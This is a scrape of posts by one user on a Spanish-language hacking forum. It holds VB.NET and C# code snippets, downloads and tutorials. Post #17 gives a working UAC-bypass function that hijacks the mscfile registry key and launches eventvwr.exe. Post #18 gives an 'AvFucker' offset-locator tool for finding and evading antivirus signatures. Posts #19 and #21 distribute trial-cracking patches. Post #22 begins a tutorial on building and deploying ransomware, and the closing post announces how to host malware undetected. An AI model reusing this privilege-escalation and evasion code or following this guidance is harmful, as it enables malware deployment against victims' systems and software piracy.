                    Me.master_table_entries(length + i).sql_statement = System.Text.Encoding.Unicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0))), New Decimal(numArray(1))), New Decimal(numArray(2))), New Decimal(numArray(3)))), CInt(numArray(4)))
                ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 3D) = 0 Then
                    Me.master_table_entries(length + i).sql_statement = System.Text.Encoding.BigEndianUnicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0))), New Decimal(numArray(1))), New Decimal(numArray(2))), New Decimal(numArray(3)))), CInt(numArray(4)))
                End If
            Next
        ElseIf Me.db_bytes(CInt(Offset)) = 5 Then
            Dim num11 As UShort = Convert.ToUInt16(Decimal.Subtract(New Decimal(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(New Decimal(Offset), 3D)), 2)), Decimal.One))
            Dim num14 As Integer = num11
            For j As Integer = 0 To num14
                Dim startIndex As UShort = CUShort(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(Offset), 12D), New Decimal(j * 2))), 2))
                If Decimal.Compare(New Decimal(Offset), 100D) = 0 Then
                    Me.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(New Decimal(Me.ConvertToInteger(startIndex, 4)), Decimal.One), New Decimal(Me.page_size))))
                Else
                    Me.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(New Decimal(Me.ConvertToInteger(CInt(Offset + startIndex), 4)), Decimal.One), New Decimal(Me.page_size))))
                End If
            Next
            Me.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(New Decimal(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(New Decimal(Offset), 8D)), 4)), Decimal.One), New Decimal(Me.page_size))))
        End If
    End Sub

    Public Function ReadTable(TableName As String) As Boolean
        Dim index As Integer = -1
        Dim length As Integer = Me.master_table_entries.Length - 1
        For i As Integer = 0 To length
            If String.Compare(Me.master_table_entries(i).item_name.ToLower(), TableName.ToLower(), StringComparison.Ordinal) = 0 Then
                index = i
                Exit For
            End If
        Next
        If index = -1 Then
            Return False
        End If
        Dim strArray As String() = Me.master_table_entries(index).sql_statement.Substring(Me.master_table_entries(index).sql_statement.IndexOf("(", StringComparison.Ordinal) + 1).Split(New Char() {","c})
        Dim num6 As Integer = strArray.Length - 1
        For j As Integer = 0 To num6
            strArray(j) = (strArray(j)).TrimStart()
            Dim num4 As Integer = strArray(j).IndexOf(" ", StringComparison.Ordinal)
            If num4 > 0 Then
                strArray(j) = strArray(j).Substring(0, num4)
            End If
            If strArray(j).IndexOf("UNIQUE", StringComparison.Ordinal) = 0 Then
                Exit For
            End If
            Me.field_names = DirectCast(Utils.CopyArray(DirectCast(Me.field_names, Array), New String(j) {}), String())
            Me.field_names(j) = strArray(j)
        Next
        Return Me.ReadTableFromOffset(CULng((Me.master_table_entries(index).root_num - 1L) * Me.page_size))
    End Function

    Private Function ReadTableFromOffset(offset As ULong) As Boolean
        If Me.db_bytes(CInt(offset)) = 13 Then
            Dim num2 As Integer = Convert.ToInt32(Decimal.Subtract(New Decimal(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(New Decimal(offset), 3D)), 2)), Decimal.One))
            Dim length As Integer = 0
            If Me.table_entries IsNot Nothing Then
                length = Me.table_entries.Length
                Me.table_entries = DirectCast(Utils.CopyArray(DirectCast(Me.table_entries, Array), New table_entry((Me.table_entries.Length + num2)) {}), table_entry())
            Else
                Me.table_entries = New table_entry(num2) {}
            End If
            Dim num16 As Integer = num2
            For i As Integer = 0 To num16
                Dim _fieldArray As record_header_field() = Nothing
                Dim num As ULong = Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(offset), 8D), New Decimal(i * 2))), 2)
                If Decimal.Compare(New Decimal(offset), 100D) <> 0 Then
                    num += offset
                End If
                Dim endIndex As Integer = Me.GVL(CInt(num))
                Dim num9 As Long = Me.CVL(CInt(num), endIndex)
                Dim num8 As Integer = Me.GVL(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), Decimal.Subtract(New Decimal(endIndex), New Decimal(num))), Decimal.One)))
                Me.table_entries(length + i).row_id = Me.CVL(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), Decimal.Subtract(New Decimal(endIndex), New Decimal(num))), Decimal.One)), num8)
                num = Convert.ToUInt64(Decimal.Add(Decimal.Add(New Decimal(num), Decimal.Subtract(New Decimal(num8), New Decimal(num))), Decimal.One))
                endIndex = Me.GVL(CInt(num))
                num8 = endIndex
                Dim num7 As Long = Me.CVL(CInt(num), endIndex)
                Dim num10 As Long = Convert.ToInt64(Decimal.Add(Decimal.Subtract(New Decimal(num), New Decimal(endIndex)), Decimal.One))
                Dim j As Integer = 0
                While num10 < num7
                    _fieldArray = DirectCast(Utils.CopyArray(DirectCast(_fieldArray, Array), New record_header_field(j) {}), record_header_field())
                    endIndex = num8 + 1
                    num8 = Me.GVL(endIndex)
                    _fieldArray(j).type = Me.CVL(endIndex, num8)
                    If _fieldArray(j).type > 9L Then
                        _fieldArray(j).size = If(Me.IsOdd(_fieldArray(j).type), CLng(Math.Round(CDbl(CDbl(_fieldArray(j).type - 13L) / 2.0))), CLng(Math.Round(CDbl(CDbl(_fieldArray(j).type - 12L) / 2.0))))
                    Else
                        _fieldArray(j).size = Me.SQLDataTypeSize(CInt(_fieldArray(j).type))
                    End If
                    num10 = (num10 + (num8 - endIndex)) + 1L
                    j += 1
                End While
                Me.table_entries(length + i).content = New String((_fieldArray.Length - 1)) {}
                Dim num4 As Integer = 0
                Dim num17 As Integer = _fieldArray.Length - 1
                For k As Integer = 0 To num17
                    If _fieldArray(k).type > 9L Then
                        If Not Me.IsOdd(_fieldArray(k).type) Then
                            If Decimal.Compare(New Decimal(Me.mEncoding), Decimal.One) = 0 Then
                                Me.table_entries(length + i).content(k) = System.Text.Encoding.Default.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num7)), New Decimal(num4))), CInt(_fieldArray(k).size))
                            ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 2D) = 0 Then
                                Me.table_entries(length + i).content(k) = System.Text.Encoding.Unicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num7)), New Decimal(num4))), CInt(_fieldArray(k).size))
                            ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 3D) = 0 Then
                                Me.table_entries(length + i).content(k) = System.Text.Encoding.BigEndianUnicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num7)), New Decimal(num4))), CInt(_fieldArray(k).size))
                            End If
                        Else
                            Me.table_entries(length + i).content(k) = System.Text.Encoding.Default.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num7)), New Decimal(num4))), CInt(_fieldArray(k).size))
                        End If
                    Else
                        Me.table_entries(length + i).content(k) = Conversions.ToString(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num7)), New Decimal(num4))), CInt(_fieldArray(k).size)))
                    End If
                    num4 += CInt(_fieldArray(k).size)
                Next
            Next
        ElseIf Me.db_bytes(CInt(offset)) = 5 Then
            Dim num14 As UShort = Convert.ToUInt16(Decimal.Subtract(New Decimal(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(New Decimal(offset), 3D)), 2)), Decimal.One))
            Dim num18 As Integer = num14
            For m As Integer = 0 To num18
                Dim num13 As UShort = CUShort(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(offset), 12D), New Decimal(m * 2))), 2))
                Me.ReadTableFromOffset(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(New Decimal(Me.ConvertToInteger(CInt(offset + num13), 4)), Decimal.One), New Decimal(Me.page_size))))
            Next
            Me.ReadTableFromOffset(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(New Decimal(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(New Decimal(offset), 8D)), 4)), Decimal.One), New Decimal(Me.page_size))))
        End If
        Return True
    End Function

    <StructLayout(LayoutKind.Sequential)>
    Private Structure record_header_field
        Public size As Long
        Public type As Long
    End Structure

    <StructLayout(LayoutKind.Sequential)>
    Private Structure sqlite_master_entry
        Public row_id As Long
        Public item_type As String
        Public item_name As String
        Public astable_name As String
        Public root_num As Long
        Public sql_statement As String
    End Structure

    <StructLayout(LayoutKind.Sequential)>
    Private Structure table_entry
        Public row_id As Long
        Public content As String()
    End Structure
End Class





Descarga de Proyecto: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



#16
C# - VB.NET / [C#] Aes File Encrypt/Decrypt
Noviembre 10, 2016, 09:20:36 PM
 En base a la pregunta de un usuario que tenia problemas al cifrar archivos con una esta funcion de cifrado, decidí implementarlo....
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Ejemplo de Uso:
Código: csharp

   // ENCRYPT FILE
    Aes_Encrypt("D:\\ISOs\\660mb.iso", "D:\\Encrypted.iso.aes", "testPassword", 256, CipherMode.CFB, Encoding.UTF8);
  // DECRYPT FILE
    Aes_Decrypt("D:\\Encrypted.iso.aes", "D:\\Decrypted.iso", "testPassword", 256, CipherMode.CFB, Encoding.UTF8);




Código: csharp

  public void Aes_Encrypt(string fileInput, string fileOutput, string password, int keySize,
            CipherMode mode = CipherMode.CFB, Encoding enc = null)
        {
            if (enc == null)
                enc = Encoding.Default;
            if (!((keySize == 128) | (keySize == 192) | (keySize == 256)))
                keySize = 256;
            var buffersize = GetBufferSize(new FileInfo(fileInput).Length);
            var salt = GenerateSalt();

            using (var fsOut = new FileStream(fileOutput, FileMode.Create))
            {
                var passBytes = enc.GetBytes(password);
                using (var aes = new RijndaelManaged())
                {
                    var pdb = new Rfc2898DeriveBytes(passBytes, salt, 50000);
                    aes.KeySize = keySize;
                    aes.Padding = PaddingMode.PKCS7;
                    aes.Key = pdb.GetBytes(keySize/8);
                    aes.IV = pdb.GetBytes(16);
                    aes.Mode = mode;

                    fsOut.Write(salt, 0, salt.Length);
                    using (var cs = new CryptoStream(fsOut, aes.CreateEncryptor(), CryptoStreamMode.Write))
                    {
                        using (var fsInp = new FileStream(fileInput, FileMode.Open))
                        {
                            var tmpBuffer = new byte[buffersize];
                            var bytesRead = 0;
                            do
                            {
                                bytesRead = fsInp.Read(tmpBuffer, 0, tmpBuffer.Length);
                                cs.Write(tmpBuffer, 0, bytesRead);
                            } while (bytesRead > 0);
                        }
                    }
                }
            }
        }

        public void Aes_Decrypt(string fileinput, string fileoutput, string password, int keySize,
            CipherMode mode = CipherMode.CFB, Encoding enc = null)
        {
            if (enc == null)
                enc = Encoding.UTF8;
            if (!((keySize == 128) | (keySize == 192) | (keySize == 256)))
                keySize = 256;
            var salt = new byte[32];
            var buffersize = GetBufferSize(new FileInfo(fileinput).Length);
            using (var fsIn = new FileStream(fileinput, FileMode.Open))
            {
                fsIn.Read(salt, 0, salt.Length);
                var passBytes = enc.GetBytes(password);
                using (var crypto = new RijndaelManaged())
                {
                    var pdb = new Rfc2898DeriveBytes(passBytes, salt, 50000);

                    crypto.KeySize = keySize;
                    crypto.Padding = PaddingMode.PKCS7;
                    crypto.Key = pdb.GetBytes(keySize/8);
                    crypto.IV = pdb.GetBytes(16);
                    crypto.Mode = mode;


                    using (var cs = new CryptoStream(fsIn, crypto.CreateDecryptor(), CryptoStreamMode.Read))
                    {
                        using (var fsOut = new FileStream(fileoutput, FileMode.Create))
                        {
                            var tmpBuffer = new byte[buffersize];
                            var bytesRead = 0;
                            do
                            {
                                bytesRead = cs.Read(tmpBuffer, 0, tmpBuffer.Length);
                                fsOut.Write(tmpBuffer, 0, bytesRead);
                            } while (bytesRead > 0);
                        }
                    }
                }
            }
        }

        private byte[] GenerateSalt()
        {
            var data = new byte[32];
            using (var rng = new RNGCryptoServiceProvider())
            {
                rng.GetBytes(data);
            }
            return data;
        }


        public int GetBufferSize(long filesize)
        {
            return filesize >= 1073741824
                ? 1048576
                : (filesize >= 524288000
                    ? 524288
                    : (filesize >= 104857600
                        ? 131072
                        : (filesize >= 10485760 ? 32768 : (filesize >= 1048576 ? 8192 : 4096))));
        }


Cualquier error o sugerencia respecto al código comentar abajo....xD
#17
C# - VB.NET / [VB.NET] Bypass UAC
Noviembre 04, 2016, 12:59:52 AM
Código: vbnet

Public Sub Bypass_UAC(ByVal filepath As String)
            'Based: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
            Using regkey As RegistryKey = Registry.CurrentUser.CreateSubKey("Software\Classes\mscfile\shell\open\command")
                regkey.SetValue("", filepath, RegistryValueKind.String)
            End Using
            Process.Start("eventvwr.exe")
        End Sub




Update:
Change : OpenSubKey ---> CreateSubKey
#18

Aquí les dejos del Baul de los recuerdos, lo he actualizado un poco de la version anterior, algunas funciones para armar vuestro Offset Locator, el code esta un poco sucio, pero se puede mejorar...xD
FUNCIONES:

  • AvFucker
  • Dsplit
  • 256 Combinaciones
  • Offset Replace

Ejemplos de Uso:
Código: vbnet

        ' Call Method AvFucker
        OffsetLocator.Methods.AvFucker(filePath := "D:\test.exe",dirpath := "D:\AvFucker", _
                                       offsetStart := 1000, offsetEnd := 63488, _
                                       blockbyte := 100, valueData := "4D")

        'Call Method Dsplit
        OffsetLocator.Methods.DSplit(filepath := "D:\test.exe", dirpath := "D:\dsplit", _
                                     offsetStart := 1000, offsetEnd := 63488, blockBytes := 1000)

        'Call Method 256 Combination
        OffsetLocator.Methods.C256Combination(filepath := "D:\test.exe",dirpath := "D:\combination",offset := 3400)

        'Call Method OffsetReplace
        OffsetLocator.Methods.OffsetReplace(filepath := "D:\test.exe", fileOutput := "D:\test_replace_90.exe", _
                                            offset := 4500, valueData := "90")



Class file = "Methods.vb"

Código: vbnet

' ***********************************************************************
' Assembly         : Demo Offset Locator
' Author           : fudmario
'
' Last Modified By : fudmario
' Last Modified On : 10-23-2016
' ***********************************************************************
' <copyright file="Methods.vb" company="DeveloperTeam">
'     Copyright ©  2016
' </copyright>
' <summary></summary>
' ***********************************************************************

Imports System.Threading.Tasks
Imports System.IO
Namespace OffsetLocator
    Public NotInheritable Class Methods
        Private Const FormatName As String = "{0}_{1}{2}"
        Public Shared Sub AvFucker(ByVal filePath As String, ByVal dirpath As String, _
                                   ByVal offsetStart As Integer, ByVal offsetEnd As Integer, _
                                   ByVal blockbyte As Integer, ByVal valueData As String)
            Dim fileOutput As String
            Dim ext as String = Path.GetExtension(filepath)
            Dim value As Integer = Convert.ToInt32(value:=valueData, fromBase:=16)
            Dim byteArray As Byte() = Internal_GenBlockBytes(CByte(value), blockbyte)
            Dim res As List(Of Tuple(Of Integer, Integer)) = Internal_StepGenList(offsetStart, offsetEnd, blockbyte)
            Parallel.ForEach(res, Sub(m)
                                      fileOutput = Path.Combine(dirpath, String.Format(FormatName, m.Item1, blockbyte, ext))
                                      If m.Item2 <> 0 Then byteArray = Internal_GenBlockBytes(CByte(value), m.Item2)
                                      Internal_OffsetReplaceB(filePath, fileOutput, m.Item1, byteArray)
                                  End Sub)
        End Sub
        Private Shared Sub Internal_OffsetReplaceB(ByVal filepath As String, ByVal fileOutput As String, Byval offset As Integer, ByVal blockByte As Byte())
            Using fs As New FileStream(path:=filepath, mode:=FileMode.Open, access:=FileAccess.Read)
                Using fs2 As New FileStream(path:=fileOutput, mode:=FileMode.Create, access:=FileAccess.Write)
                    fs.CopyTo(fs2)
                    fs2.Position = offset
                    fs2.Write(blockByte, 0, blockByte.Length)
                End Using
            End Using
        End Sub

        Public Shared Sub DSplit(ByVal filepath As String, ByVal dirpath As String, ByVal offsetStart As Integer, Byval offsetEnd As Integer,
                          ByVal blockBytes As Integer)
            Dim c As New FileInfo(filepath)
            Dim res As List(Of Tuple(Of Integer, Integer)) = Internal_StepGenList(offsetStart, offsetEnd, blockBytes)

            Parallel.ForEach(res, Sub(m)
                                      Dim output As String = Path.Combine(dirpath, String.Format(FormatName, m.item1, blockBytes, c.Extension))
                                      CreateFileWithBytes(filepath:=filepath, fileoutput:=output, length:=m.item1)
                                      If m.Item2 > 0 Then
                                          CreateFileWithBytes(filepath, Path.Combine(dirpath, String.Format(FormatName, offsetEnd, m.Item2, c.Extension)), offsetEnd)
                                      End If
                                  End Sub)

        End Sub

        Private Shared Sub CreateFileWithBytes(filepath As String, fileoutput As String, length As Integer)
            Dim buffer As Byte() = New Byte(length - 1) {}
            Using fs as New FileStream(path:=filepath, mode:=FileMode.Open, access:=FileAccess.Read)
                fs.Seek(0, SeekOrigin.Begin)
                fs.Read(buffer, 0, buffer.Length)
            End Using
            File.WriteAllBytes(fileoutput, buffer)
        End Sub
        Public Shared Sub OffsetReplace(ByVal filepath As String, ByVal fileOutput As String, ByVal offset As Integer, Byval valueData As String)
                Dim value As Integer = Convert.ToInt32(value:= valueData, fromBase:= 16)
            Internal_OffsetReplaceA(filepath, fileOutput, offset, value)
        End Sub
        Private Shared Sub Internal_OffsetReplaceA(ByVal filepath As String, ByVal fileOutput As String, _
                                                   ByVal offset As Integer, Byval value As Integer)
            Using fs As New FileStream(path:=filepath, mode:=FileMode.Open, access:=FileAccess.Read)
                Using fs2 As New FileStream(path:=fileOutput, mode:=FileMode.Create, access:=FileAccess.Write)
                    fs.CopyTo(fs2)
                    fs2.Position = offset
                    fs2.WriteByte(value:=CByte(value))
                End Using
            End Using
        End Sub
        Public Shared Sub C256Combination(ByVal filepath As String, ByVal dirpath As String, ByVal offset As Integer)
            Dim ext As String = Path.GetExtension(filepath)
            Dim value As String
            Dim output As String
            Parallel.For(0, 255, Sub(i)
                                     value = Convert.ToString(value:=i, toBase:=16).ToUpper
                                     If value.Length = 1 Then value = String.Format("0{0}", value)
                                     output = Path.Combine(dirpath, String.Format(FormatName, offset, value, ext))
                                     Internal_OffsetReplaceA(filepath, output, offset, i)
                                 End Sub)


        End Sub


        Private Shared Function Internal_GenBlockBytes(ByVal value As Byte, ByVal length As Integer) As Byte()
            Return ParallelEnumerable.Repeat(element:=value, count:=length).ToArray()
        End Function
        Private Shared Function Internal_StepGenList(ByVal startIndex As Integer, ByVal endIndex As Integer, ByVal stepSize As Integer) As List(Of Tuple(Of Integer, Integer))
            Dim c As New List(Of Tuple(Of Integer, Integer))
            For i = startIndex to endIndex Step stepSize
                Dim k As Integer = endIndex - i
                If k < stepSize Then
                   ' If k = 0 Then k = 1
                    c.Add(New Tuple(Of Integer, Integer)(item1 := i, item2 := k))
                Else
                    c.Add(New Tuple(Of Integer, Integer)(item1 := i, item2 := 0))
                End If
            Next
            return c
        End Function
    End Class
End NameSpace


#19
Aquí les dejo este parche que permite extender el tiempo de uso en Version TRIAL, a diferencia de la version anterior que publique(No tienes permitido ver los links. Registrarse o Entrar a mi cuenta), en esta version se ha eliminado la marca de Agua.


Ademas viene con una Interfaz de usuario que  automiza todo el proceso de parcheo, tambien tiene la opcion de realizarlo manualmente seleccionando la ruta de instalacion de visual Studio(ej: X:\Program Files (x86)\Microsoft Visual Studio 12.0\Common7\IDE\).



Requerimientos:

  • Ejecutar Como Administrador.
  • .NET Framework 4


Descarga: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Contraseña: byfudmario
Comprimido:  WinRAR5

Para los Desconfiados(detectado por packer SmartAssambly):



Aqui el ChangeLog de Ghost Doc  Build 5.2.16200:(más info No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)
Código: php


    Added: Support for Visual Studio 2015 Update 3
    Fixed: Now correctly loading the latest ASP.NET Core projects
    Added: GhostDoc now treats underscore as a delimiter to improve summary generation for underscore delimited identifiers
    Added: "Use Modern URLs" Help Configuration option for declarative help documentation file naming - namespace-classname-membername.htm
    Added: Option to turn on/off Documentation Hints during setup
    Added: (Pro) (Ent)Comment Preview is now rendered using the FlatGray theme
    Changed: No longer creating the solution settings .ghostdoc.xml file if none of the default settings have been changed for the solution
    Fixed: Issue when using the /// and ''' shortcuts at the end of file
    Fixed: Issue when renaming a project within the Solution Folder
    Fixed: (Ent) Incorrect cref linking when building help documentation from command line
    Fixed: Exception text is now rendered correctly when the exception argument is a string interpolated string
    Fixed: Issue using with Global namespace in VB.NET
    Fixed: Custom property rules not working
    Fixed: Help Configuration not saved when cancel out of the Build Help File
    Fixed: Issue with Command Line utility failing when the output folder does not exist. The folder is now created when generating the help docs
    Fixed: Problem with GhostDoc incorrectly identifying user path as a network location
    Fixed: Help Configuration issue when Output Path points at a network location
    Fixed: CSHTML files are no longer included as the Documentation Maintenance supported source file type
    Changed: Renamed Browse button to Change in GhostDoc Options -> General -> User folder path
    Fixed: Issue when handling expression body methods

   


Para los que no conozcan sobre el Ghost Doc:

No tienes permitido ver los links. Registrarse o Entrar a mi cuentaes una extensión para Visual Studio que genera comentarios de documentación XML automáticamente para métodos y propiedades, basándose en su tipo, parámetros, nombre y otra información contextual.



IDEs Soportados:

  • Visual Studio 2015(incl. Community Edition)
  • Visual Studio 2013
  • Visual Studio 2012
  • Visual Studio 2010
  • Visual Studio 2008


Lenguajes Soportados:

  • C#
  • Visual Basic
  • C++/CLI
  • JavaScript
#20

ScanRAT Multi-Tools, es una herramienta que incorpora numerosas características para poder analizar malware, incluidas algunas herramientas adicionales(visor de Procesos, visor de aplicaciones de Inicio de Windows, Protector de Carpetas,Visor de Conexiones tcp,geolocalizador de IP, desofuscador de scripts vbs, permite el monitoreo de aplicaciones que son ejecutados,archivos que son Creados/Eliminados/Renombrados y más.....
Entre las características adicionales, se encuentran una gran rapidez en ejecución de algunas funciones, internamente se mejoro el código a diferencias de las versiones Anteriores, nuevo diseño en la GUI.





Mejoras en el Visor de Conexiones TCP(Experimental) : A diferencia de versiones anteriores se ha incluido la obtencion de los nombres de procesos y los respectivos PID.
Mejoras en el Visor de Procesos : Agregado la comprobacion de ficheros mediante md5 en VirusTotal, implementado la opción de mostrar los iconos de las aplicaciones en ejecución.
Mejoras en el Desofuscador de VBS: Aqui solamente agregado un nuevo control para mostrar el código resaltado.
Mejoras en la Obtencion de Inicio de Windows y más..................

Nuevas características:

VIRUSTOTAL:
Se ha implementado el analisis de ficheros en VirusTotal(un sitio web que proporciona de forma gratuita el análisis de archivos y páginas web a través de múltiples motores antivirus.
Nos permite:


  • Analizar Ficheros.
  • Re-analizar Ficheros.
  • Comprobar si un archivo esta en VirusTotal(Mediante MD5).
  • Comprobar Direcciones Web.

PD: Para poder utilizar esta caracteristica, debes tener el ApiKey de VirusTotal(Esto lo puede obtener registrandote gratuitamente en VirusTotal, una vez registrado obtendras tu apikey)

ALERTAS DE NOTICIAS:

Esta opción nos permite recibir noticias para mantenernos informados, disponible solo para la versión en Español.
Las Noticias son obtenidas de la página de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, para actualizar las noticias se pueden hacer de dos formas una mediante el boton Actualizar Noticias en las opciones de Configuración, otra forma es que si esta marcado la opción "Mostrar Noticia" al iniciar la aplicación automaticamente descargará las noticias.

WinFix:
Se ha implementado la Opción de restaurar restricciones realizadas por algun malware en el sistema(Administrador de Tareas,Regedit,...)

Protector de Archivos(*)(Experimental).
Esta caracterista de la aplicacion nos permite proteger archivos cifrandolas con contraseña(*Esta opción es bastante simple ya que solo usa la libreria DotNetZip), despues de proteger el archivo, se genera un archivo con una extension: ".safeprotect" con la cual se asocia a la aplicacion.

FAKEDNS(Experimental):
En esta caracteristica, practicamente se ha embebido el ApateDNS en la Aplicación.  Para poder usarla debes tener una interfaz de red Instalada.

ReportGen BBCode(Beta):
Esta herramienta aun esta en fase de desarrollo ya que aun falta mucho para generar un reporte completo y detallado.

Si no sabes si estas infectado y necesitas ayuda, Con esta herramienta nos permite generar un informe de nuestro Computador en Formato BBCode para publicar en los foros.

Nos permite obtener:

  • Unidades Disponibles
  • Software de Protección
  • Aplicaciones de Inicio
  • Inicio de Aplicaciones en el Regedit
  • Listado de Procesos en ejecución
  • Redirecciones del archivo Host
  • Listado de Conexiones TCP




  NUEVO PLUGIN:
  Se ha implementado la Instalación de un plugin para el ContextMenu de Windows con el cual se podrá llamar a la aplicación tan solo haciendo clic derecho en cualquier ejecutable(.exe,.dll).



Capturas:

Principal:



























Sistemas Operativos compatibles: Windows 7 | Windows 8 | Windows 8.1 | Windows 10
Arquitecturas: x86 || x64
   
Requisitos adicionales.
         Instalar .NET Framework 4.0 (disponible en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ).
         Requiere Ejecutar Como Administrador.

Nombre de Archivo:
ScanRAT Multi-Tools.exe
Versión: 3.4.0 Final
Fecha de publicación:  05/07/2016
Tamaño de Archivo: 1,55 MB
MD5: 7ffa5f8c392049f48c5134e499545b4f
Link de Descarga: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Contraseña: byfudmario
Comprimido: WinRAR5
VirusTotal Report: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#21
C# - VB.NET / GhostDoc Pro v5.1.16036 + Patch
Marzo 22, 2016, 11:18:39 PM

Cita de: WarNovSin documentación, el software nace, crece, se vuelve spaghetti, desquicia a los developers y todos mueren.


GhostDoc es una extensión para Visual Studio que genera comentarios de documentación XML automáticamente para métodos y propiedades, basándose en su tipo, parámetros, nombre y otra información contextual.


IDEs Soportados:

  • Visual Studio 2015(incl. Community Edition)
  • Visual Studio 2013
  • Visual Studio 2012
  • Visual Studio 2010
  • Visual Studio 2008

Lenguajes Soportados:

  • C#
  • Visual Basic
  • C++/CLI
  • JavaScript


El parche extiende el tiempo de uso en su version Trial, obteniendo utilizar todas las opciones disponibles en su version PRO(El unico problema, La Marca de Agua):



Marca de Agua:



Descarga(App): No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Descarga(Patch): No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Contraseña: upload_by_fudmario


Una Alternativa Gratuita es Sandcastle(Sandcastle Help File Builder: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)

#22
Hola a todos, en esta serie de publicaciones vamos a explicar el funcionamiento de un malware del tipo "Crypto-Ransomware" o "filecoder", como siempre, intentando de ser lo más simple y sencillo para su aprendizaje(No entraremos mucho en conceptos, solo lo suficiente para lograr comprenderlo).

En anteriores publicaciones que hice hace tiempo...xD explique  técnicas de análisis y desinfección de este tipo de Malware.
Los que NO lo vieron, pueden  mirarlo aquí->

Esta serie de publicaciones será como ver desde el otro lado en el cual nuestro objetivo será Entender el funcionamiento, creación, montaje de este tipo de malware.
No sé cuántas publicaciones sean o si me alcanzará el tiempo a terminarlas todas...xD, pero intentaré terminarlo todo.

Preguntas Frecuentes:
¿Porque crear este Tutorial?

R. Para aprender el funcionamiento de este tipo de malware y así poder evitar posibles infecciones(o para promover el desarrollo de software malicioso....xDD). Cada quien es responsable del uso que le dé a esta información.

¿Me Ayudarías a Crear uno completamente FUD y ayudar a Montarlo para poder Infectar?

R.- NO.  El tutorial explicará cómo crearlo paso a paso, como se puede crear, montar, pero bajo ninguna circunstancia ayudaré a cometer Delitos, a no ser que sea por Dinero....xDD.

¿Y por qué no crearlo más antes? , ¿Si hay mucha información al Respecto para que hacerlo ahora?
R.- Y bueno como tengo unos días de vacación, dije: "Bueno porque no Crearlo,....xD".

¿Qué pretendes  con esta Información?

Que más allá de conocer cómo funciona este tipo de malware, es también incentivar a usuarios a aprender algún lenguaje de programación, ya que el lenguaje que conozco un poco más es No tienes permitido ver los links. Registrarse o Entrar a mi cuenta usaremos ese....xD, pero se intentará dar la información necesaria para que puedan extrapolar la información y aplicarlo a diferentes lenguaje.


Comencemos....

RANSOMWARE:
CitarEste tipo de malware lo que básicamente hace es: Secuestrar nuestra información, en la cual mediante diversas técnicas  puede  llegar a Bloquear el acceso a nuestro Sistema, cifrar archivos (generalmente: pdf,doc, docx, pptp.....etc los más usados), obligando a la víctima a dar una cierta cantidad de dinero para poder recuperar la información.
En ciertas ocasiones cuando este tipo de malware utiliza un algoritmo de cifrado débil o guarda la contraseña de cifrado en algún lugar de nuestra PC o si el archivo es eliminado de forma estándar, es posible llegar a recuperarlo sin pagar.

Veamos cómo funciona con una muestra analizada: "CTB-Locker (Curve-Tor-Bitcoin Locker)"
Una vez ejecutada el malware lo que hace es comenzar a cifrar archivos  generalmente a archivos comunes.

Posteriormente nos muestra un mensaje (algo similar cambiando nuestro wallpaper,...etc):



En la cual nos da información sobre como rescatar nuestra información:
Online:

Offline:

Para agregar nuestra Public Key hay que ingresar a la Url que nos da:

Y después de Agregar la Public Key.


En la cualquiera de los dos casos nos da las instrucciones para poder pagar el rescate y recuperar nuestra información.

Bueno hasta aquí hoy...xD, es una pequeña introducción sobre el Tema.

Nuestra meta será crear nuestro propio virus, luego nuestro propio Builder/Constructor para generar el virus, montar nuestro panel  de nuestro Crypto-Ransomware agregar varias funciones/opciones.

Avances:

  • En la siguiente entrega explicaremos, cuál será la estructura de nuestro propio Crypto-Ransomware.
  • Crear la estructura de nuestro primer Crypto-Ransomware (Modo Offline) basado en el ejemplo anterior y que opciones contendrá nuestro Virus...xD.
  • Comenzaremos  a programar nuestras primeras líneas de código (Enumeración de archivos, filtración por extensiones y más.....xD).
#23
Casi siempre me pregunta por SKYPE, si conozco algun hosting de descarga directa que no detecte los antivirus, para subir malware, por lo general siempre respondo: "NO, no conozco ninguno, pero puedes usar cualquier Hosting xD", asi que hoy les voy a mostrar como usar cualquier hosting para subir malware.

